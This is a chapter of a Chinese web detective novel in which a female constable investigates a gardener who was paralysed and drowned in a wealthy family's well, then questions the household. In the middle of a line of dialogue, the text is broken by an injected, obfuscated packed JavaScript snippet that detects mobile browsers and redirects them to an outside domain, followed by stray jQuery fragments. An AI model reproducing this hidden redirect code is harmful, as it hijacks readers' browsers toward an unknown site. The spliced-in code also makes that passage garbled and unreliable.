18. 第 18 章

作品:《裴家有女捕(探案)

    “他的第三块颈椎骨和第六块胸椎骨处,被人捏碎了,下手的人极其精准,用的力道不轻不重刚刚好,外边看不出什么异样,内侧全断了。”


    颈椎骨和胸椎骨被捏断,相当于整个人就瘫痪了,所以向武没有挣扎。


    他不是昏迷被人扔进去,是像个瘫痪患者一样,手和脖子都动不了。


    裴霜继续检查了下他其他的骨头,肩膀瘀伤处的骨头有点轻微骨裂,这伤其实算很重了,他的左手有几个月应该都抬不起来。不过这和他的死亡无关。


    “天呐,是谁下此毒手!”向文一个大男人哭得一把鼻涕一把泪的。


    这法子确实太过阴损,眼睁睁地看着自己死亡,却动不了,在水中,口鼻被水淹没,也无法开口呼救,他无法挣扎,意识却是清醒的,只能默默让水没过头顶,感受到冰凉的井水一点点进入自己的肺部,直到无法呼吸。


    身体和心理的双重折磨。


    “这人能准确找到这几块椎骨的位置,而且只留下了几个指印,下手相当娴熟,且指力非凡。”


    “难道又是什么专业杀手?”张泉猜测道。


    “不清楚,在江湖上,还没听说过这样的杀手。”


    裴霜觉得不太像杀手,这手法不会致命,向武的死因还是溺水,若是杀手,一把拧断脖子更快速直接。


    但谋杀是肯定的,无论如何,得走一趟楼家。


    楼家是青梧县的富户,做粮食生意的,现在的当家是楼康盛,楼康盛与妻子沈琳育有一子一女,几年前又纳了个小妾进门。儿子楼青东是远近闻名的才子,五岁时便考上童生得到当时县令的夸奖,又模样俊秀,是众多待嫁娘子的春归梦里人。


    女儿楼青汐也是十分出色的,诗文才气不输其兄,容貌秀美,听说楼家还让她参与了粮铺的管理,生意做得也是有声有色。


    楼家常在城门施粥接济穷人,在青梧县素有贤名,昔年楼青东与楼青汐这对龙凤双胎降生时大家都说是积善之家的福报。


    裴霜他们到楼家时,楼家下人已在门口相迎,很快把人领进了内堂。


    向武的尸体闹出那么大的动静,楼家的人猜到衙门会有人上门也不奇怪。


    楼康盛坐在右首喝着茶,脸上不见丝毫愁色,倒是沈琳愁眉苦脸,心情不大好的样子。


    楼康盛的脸色在看见霍元晦时,终于有了些变化,里面放下茶盏起身拱手相迎:“县尊大人怎么来了,草民懈怠,还望恕罪。”


    裴霜见他前倨后恭,估计是没想到霍元晦会因为这件事亲自走一趟,不由得冷笑一声。


    坊间传闻怕多有不实,良善之家,又岂会枉顾人命。


    “不必客套,想来楼老爷知道我们因何事而来,废话不多说,烦请将相关的人员都喊来。”


    楼康盛连声答应,随后将涉案人员都带了过来,其实也没什么人,楼家声称向武是意外落水,涉案人也只有发现向武尸体的人而已。


    发现尸体的是楼家的马夫袁义,同向武一样是楼家的长工,也是向武的同屋,向武本来是和向文住在一起,但因为向文一年前成亲就从楼家搬了出去,袁义就搬了进去,向武为人热心,两人关系不错。


    袁义说起向武还是面含悲痛色,不敢相信好兄弟就这么死了。


    “我今早起来想打水洗脸,水桶一扔下去就觉得不对劲,往下一望才发觉里面有个尸体,等把人捞上来才知道是向武。”


    裴霜问:“向武可有仇家?”


    “没什么仇家,他脾气很好,长得也好,大家都很乐意和他说话,就算有什么摩擦,也犯不着杀人呀。”


    裴霜又让楼老爷叫了些与向武相熟的人来问话,得到的都是同样的回话。


    凶手如此手段虐杀向武,必定心中恨极,是与向武有仇之人,但从人际关系下手,没有嫌疑人,还需深入调查。


    “县尊大人,还有必要调查嘛,就是个失足落井的意外。一个花匠惹出这么多的事情来,就该将他尽早辞了!我本想着多赔些钱给他那哥哥,不想他那哥哥拿这事来烦扰您,估计是对钱财数目不满意,无妨,我再多给他一些银子就行。”沈琳突然说话。


    霍元晦还没回答,裴霜气不过抢话道:“沈夫人,对您来说,死得只是个微不足道的下人,但对向文来说,死的是他至亲的兄弟,他有知道真相的权利。而且我们有切实证据,证明向武不是失足落水。”


    霍元晦:“枉顾人命,非积善人家所为。沈夫人慎言。”


    沈琳被裴霜的眼神吓到,略后退了一小步,身后丫鬟扶了她一把,没敢再说话。


    楼康盛上来打圆场:“我家夫人只是想尽快解决这件事而已,县尊恕罪。既然有证据,那请衙门接着查吧,我们楼家全力配合,若真有个凶手在家中,尽早查出对我们家也是好的。”


    楼康盛比沈琳会说话。


    裴霜对袁义道:“带我们去你们住的地方看一下。”


    裴霜和张泉等人去查看,霍元晦则是陪着楼康盛喝茶。


    袁义前面带路,楼家下人房都在外院,袁义与向武住的房间离周遭都有些距离,在马房旁边,马房气味大,所以住的远些。


    向武是伺候花草的,偶尔也会自己沤肥,马粪是很好的原料,住一块儿方便。


    单独的几间小瓦房,即使是下人住的,也比外面的农户人家强上不少。袁义和向武住在其中一间,其他几间住了些长工,干什么的都有。


    房间很小,一览无余,进门是个小厅,乱七八糟的堆了些工具,有刷马的毛刷,挖泥的小锄头等,再进去一左一右摆了两张床。


    左边的干净整洁,被子叠得齐整,枕头放在被子上,床上还有个一尺见方的小箱子,箱子上了锁,床底下放了几双靴子,有两双生皮钉靴。右边乱糟糟的,被子胡乱堆在床上。


    裴霜指着左边:“这是向武的床?”


    “对的。他爱齐整,每日早起都要叠被子。”


    裴霜看了一下床上的箱子,箱子平平无奇,锁却很精巧,黄铜小锁,婴儿巴掌大,锁芯不是平常所见的扁状的,是十字的。


    这把锁怕是比这间屋子都值钱。


    裴霜让张泉把箱子带回去,问问向文有没有钥匙。


    “再带我去小花园看看。”


    袁义照例引路,穿过抄手游廊,走过月洞门,远远就能看见花园里透出的姹紫嫣红,正值春日,花园中的芍药牡丹耀眼夺目,显得一旁的垂丝海棠都不够看。


    小花园说小也不小,花的种类也多,一半花团锦簇,一半是栽下的花苗,春天也是播种的季节。


    裴霜望了眼那些翻过的土,行列有序,像是向武做的活。


    地上栽种了些不知名的花苗有些带着花苞,还没开花裴霜看不出是什么种类。


    有一处痕迹很奇怪,那里的土明显是新翻的,看土的成色,可能是昨夜,但不大就一小块,向武死前还在栽种?这么爱岗敬业?


    淹死向武的水井就在不远处,也就百步以内的距离。


    裴霜走到水井前,水井周围只薄薄垒了一层石头,稍不留神,很容易掉进去。


    井边有一道痕迹,像是鞋子打滑所留下的,从表面上看,确实是失足落水。


    她抬头,刚想说什么,瞥见月洞门后一个桃红色身影缩回了墙后。


    “袁义,你们府里有没有喜欢穿桃红色衣服,眼睛大大的,经常在鬓边簪一朵海棠的小娘子?”


    “捕快娘子说的是夫人身边的秋彤吧,您找她有事?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490445|169585||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”袁义是马夫,府里的人他大多都认识。


    裴霜微笑,随口扯道:“没什么大事,刚才看见觉得她手帕的绣花很精巧,想问是哪家店买的。”


    “哦,那估计是她自己绣的。夫人身边的小娘子绣活儿都是不错的。”


    裴霜没再多言,沈琳派了个丫鬟来盯着他们,是谨慎还是别有目的?


    花园边有个假山,假山再往上是个亭子,从另一侧有台阶可以上去,若鲜花盛开时,那亭子就是一处绝佳的观赏点。


    有钱人真是会享受,裴霜默默感慨了句。


    假山高大,挨着院墙,裴霜问:“后面是谁的院子?”


    “是大娘子的,大娘子喜欢花草,所以住在离花园最近的地方。”


    “那另一侧呢?”


    “是郎君住的凤来轩。”


    “听闻楼家的郎君娘子,都是人中龙凤。”裴霜状似不经意地提起。


    袁义道:“娘子待人和善,十分能干,城中好几家铺子她接手了后生意越来越好,确实很厉害。”


    裴霜纳罕,怎么只说楼青汐?她继续问:“那郎君呢?”


    袁义思考了下:“郎君平时不住在府里的,他身子不好,常住别苑温养,我们很少见到他的面。偶有不俗的诗文传出,不过我是大老粗,不懂得这些。”


    裴霜才发觉楼家的奇怪之处,楼家大郎楼青东虽素有才名,但好像确实没怎么见他出来走动,除非一些诗文会上,而且当年仅五岁他就考上了童生,却再没参加其他考试。


    一般人家都是男主外女主内,楼家生意不交给楼青东,却让楼青汐出来抛头露面,很不符合常理。


    但这和案情好像没什么关联,也许楼家就是更看重女儿一点呢。


    “里面正在查案,请娘子止步。”方扬的声音传来。


    裴霜在花园内查看,让方扬曹虎看守在必经之路。


    “各位差爷,我们家娘子有事相问。”说话的是个丫鬟。


    裴霜打眼一瞧,一女子梳着凌虚髻,发间簪一支月桂步摇,耳垂上的珊瑚珠子红得鲜艳,熠熠生辉,她左右各站了个丫鬟。


    “让楼娘子过来吧。”裴霜放话,方扬曹虎放下手臂,恢复原来的姿势继续当门神。


    楼青汐柳眉凤眼,鼻梁高挺,是个英气的美人,她向裴霜行了个叉手礼。


    “都说县衙多了个女捕快,今日可算见到了,捕快娘子妆安。”


    “楼娘子妆安。”裴霜回礼。


    楼青汐笑吟吟的,眼波流转间更显飒爽,裴霜对美人没什么抵抗力,语气不自觉放轻柔:“楼娘子说有事,是指向武的事吗?”


    听到向武这个名字,楼青汐明显蹙了下眉,眼中有不明情绪一闪而过:“家中出了命案,总要知道个清楚明白。捕快娘子可有头绪?”


    “抱歉,案情还在调查中,恕我不便多言。”


    楼青汐脸上有些许失落,裴霜又道:“不过楼娘子兴许能为我提供些线索,可否回答我一些问题。”


    “捕快娘子尽管问,我能帮得上一定帮。”


    楼青汐邀她上了凉亭,又嘱咐丫鬟上些热茶和点心。


    裴霜坐定,一边吃茶一边赏景:“昨夜子时到丑时之间,娘子可有听到动静?”


    “你这捕快娘子好生无礼,是把我家娘子当嫌犯了吗?”在楼青汐左侧的粉衣丫鬟跳出来大声斥责。


    裴霜皱了下眉。


    “巧燕,不得无礼。”楼青汐喝退丫鬟,她思考道,“您这么问,是向武死在这个时辰吗?这个时辰我已经睡下了,我这院子虽挨着花园,但怎么也隔了堵墙,若非极大的动静,发觉不了什么异常的。”


    好聪明的娘子!能从她的问题就能猜到问问题的目的。